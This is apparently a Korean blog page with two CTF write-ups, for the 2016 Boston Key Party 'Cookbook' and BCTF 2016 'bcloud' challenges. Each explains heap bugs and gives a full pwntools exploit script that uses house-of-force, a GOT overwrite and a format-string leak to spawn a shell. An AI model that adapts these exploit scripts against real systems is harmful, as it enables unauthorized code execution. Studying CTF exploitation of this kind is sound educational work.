2016 Boston Key Party CTF Cookbook
취약점은 Create recipe 부분에서 할당하면 전역변수를 0으로 초기화하지 않기 때문에 UAF 가 가능하다. 그리고 Create recipe의 print current recipe를 보면 a1+124를 출력하는데 이것들을 이용해서 힙 주소나 base주소 등등 전부 구할 수 있었다. 그리고 Create recipe의 include instructions 함수에서 fgets로 값을 받는데 값을 +140 부터 받아서 탑 청크를 덮을 수 있게 된다. 또 give cookbook a name 함수에서 사이즈를 자기가 원하는 만큼 받을 수 있기 때문에 이 취약점들로 house of force 공격을 할 수 있다.
공격 순서는
heap_address & system_address Leak -> Top_chunk size change(\xff\xff\xff\xff) -> Attack순으로 했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | // input your code herefrom pwn import* p = process("./cookbook") elf = ELF("./cookbook") def leak(add): p.sendlineafter("uit\n","c") p.sendlineafter("uit\n","n") p.sendlineafter("uit\n","d") p.sendlineafter("uit\n","q") p.sendlineafter("uit\n","g") p.sendlineafter(": ","300") p.sendline("\x00"*124+p32(add)) p.sendlineafter("uit\n","c") p.sendlineafter("uit\n","p") p.sendlineafter("?","/bin/sh") leak(0x0804d03c) #libc_start_main p.recvuntil("type: ") libc_start = u32(p.recv(4)) base = libc_start-0x18540 system = base+0x3ada0 one_shot = base + 0x5fbc6 leak(0x0804d0a0) #0x0804d0a0 recipe_ptr p.recvuntil("type: ") heap = u32(p.recv(4)) top_add =heap+0x304 size = elf.got["free"] - 0x8-top_add-0x414 print "libc_start_main: " + hex(libc_start) print "base: " + hex(base) print "heap: " + hex(heap) print "Top_chunk: " + hex(top_add) print "size: " + hex(size) p.sendlineafter("uit\n","n") p.sendlineafter("uit\n","g") p.sendline("a"*0x380+"\xff\xff\xff\xff") p.sendlineafter("uit\n","q") p.sendlineafter("uit\n","g") p.sendline(hex(size)) p.sendlineafter("uit\n","g") p.sendlineafter(": ","5") p.sendline(p32(system)) p.interactive() ~ | cs |
문제는 그렇게 어렵지 않았지만 문제에서 값을 넣는데 malloc로 할당해서 그걸로 값을 넣고 또 free하고 막 전역변수 여러개로 청크 관리하는 걸 보고 분석하다가 머리가 멈춰버렸다. ㅎ 그래서 풀이를 이해하고 풀었다...
이 문제를 풀면서 함수 전부를 분석해야하지만 그 중에서 중요한 부분을 잘 잡아내서 분석하는 것도 중요하다는 것을 깨달았다.
또 평소에 분석하다가 헷갈리면 gdb로 같이 값 들어가는거 보면서 했는데 앞으로는 정적 분석 실력 향상을 위해 최대한 정적으로만 분석해야지.
'CTF' 카테고리의 다른 글
TRUSTEALTH CTF sohard (0) | 2018.03.02 |
---|---|
TRUSTEALTH CTF sysrop (0) | 2018.03.02 |
Bctf_2016 bcloud (0) | 2018.02.21 |
2018 Codegate Super Marimo (6) | 2018.02.06 |
2018 Codegate BaskinRobins31 (0) | 2018.02.04 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
Bctf_2016 bcloud
house of force 이론을 공부하고 이 기법을 사용하는 문제인 bcloud를 풀어보았다.
맨 처음에 name을 받는데 여기서 원래 사이즈보다 많이 받을 수 있다. 그래서 다음 변수인 org인 host를 덮는 게 가능해지고 심지어 탑 청크까지도 덮는게 가능해진다.
이런식으로 페이로드를 보냈을 때 이렇게 나온다. 그러면 name을 출력해줄때 힙 주소도 같이 출력될 것이다.
이제 탑 청크 사이즈를 조작했으니까 내가 원하는 곳에 할당하는 것이 가능해진다 ㅎ
나는 atoi_got에 printf_plt를 덮어서 포맷스트링 버그가 가능하게할 것이다.
근데 원래는 사이즈를 구해주기 위해 atoi_got - 0x8 - top_chunk를 해줘야 하는데 안되길래 gdb를 보면서 사이즈를 조절해야만 했다. 아니면 segfault 뜸;; 그래서 난 0xc를 또 빼줬다.
그 결과 내가 2번째 청크의 데이터를 이용하여 atoi_got에 printf_plt 덮는데 성공했다.
이제 메뉴를 고를 때마다 출력을 해줄 것이다. 그리고 이제 포맷스트링 버그가 가능해진다.
포맷스트링으로 main의 ret를 릭하고 그걸로 시스템 주소를 구했다. 이제 atoi함수를 system으로 덮고 /bin/sh를 넣어주면 된다.
edit 함수를 쓰면 할 수 있는데 printf함수의 반환값이 글자 수라서 3을 입력하려면 333이렇게 입력해야 한다.
그렇게 edit 기능으로 들어가서 수행하고 /bin/sh를 입력하면?
쉘이 따졌다 ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ 포맷스트링 버그로 릭을 할 때 라이트업을 보고 했는데
%p 하나만 했을 때는 거리가 %p를 34번 정도는 넣어줘야 할 것 같았는데 31번만 하고 릭하는 것을 보고 이해가 안갔다.
그래도 원래의도는 house of force 응용이니까 목적은 달성했다 ㅎ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | from pwn import* p = process("./bcloud") elf = ELF("./bcloud") atoi_got = elf.got["atoi"] puts_got = elf.got["puts"] printf_plt = elf.plt["printf"] def start(name,org,host): print p.recv(1024) p.sendline(name) print p.recv(1024) p.sendline(org) p.sendlineafter(":\n",host) def new(size,content): p.sendlineafter(">\n","1") p.sendlineafter(":\n",str(size)) p.sendlineafter(":\n",str(content)) def edit(idx,content): p.sendlineafter(">\n","3") p.sendlineafter(":\n",str(idx)) p.sendlineafter(":\n",str(content)) def delete(idx): p.sendlineafter(">\n","4") p.sendlineafter(":\n",str(idx)) def syn(): p.sendlineafter(">\n","5") print p.recv(1024) p.sendline("A"*63+"B"+"C"*64+"\xff\xff\xff\xff") p.recvuntil("B") heap = u32(p.recv(4))-8 top_chunk = heap+0xdc print "heap: " + hex(heap) print "TOP_chunk: " + hex(top_chunk) size = atoi_got - 0x8 - top_chunk -0xc #-0x10 p.sendlineafter(">>\n","1") p.sendline(str(size)) new(8,"AAAA"+p32(printf_plt)) print p.recv(1024) p.sendline("%31$p") leak = int(p.recv(10),16) base = leak - int(0x18637) system = base+0x3ada0 print "LEAK: " + hex(leak) print "base: " + hex(base) print "system: " + hex(system) print p.sendlineafter(">>\n","333") #printf return atoi return print p.sendlineafter(":\n","1") print p.sendlineafter(":\n","aaaa"+p32(system)) p.sendline("/bin/sh\x00") p.interactive() | cs |
'CTF' 카테고리의 다른 글
TRUSTEALTH CTF sysrop (0) | 2018.03.02 |
---|---|
2016 Boston Key Party CTF Cookbook (0) | 2018.02.27 |
2018 Codegate Super Marimo (6) | 2018.02.06 |
2018 Codegate BaskinRobins31 (0) | 2018.02.04 |
2018 Codegate RedVelvet (0) | 2018.02.04 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.